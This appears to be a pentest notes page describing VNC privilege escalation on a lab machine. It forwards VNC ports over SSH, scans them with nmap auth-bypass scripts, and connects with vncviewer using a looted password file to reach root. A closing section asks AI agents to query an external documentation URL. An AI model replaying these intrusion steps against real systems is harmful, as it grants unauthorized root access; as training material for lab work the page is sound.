# VNC - 5800,5801,5900,5901
VNC port forwarding through SSH, VNC service scanning, vncviewer access, and root session validation.
### VNC exploitation on 5800, 5801, 5900 and 5901
Identify listening ports:
```bash
netstat -an | grep LISTEN
```
#### **SSH tunnel to redirect VNC ports**
```bash
ssh -L 5801:127.0.0.1:5801 -L 5901:127.0.0.1:5901 charix@10.10.10.84
```
Scan the VNC services:
```bash
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5801 127.0.0.1
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5901 127.0.0.1
```
#### **Connection via vncviewer**
Use the password found in `secret.zip`:
```bash
vncviewer -passwd secret 127.0.0.1:5901
```
The VNC session provides **root access** on the machine.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ports-and-services/vnc-5800-5801-5900-5901.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
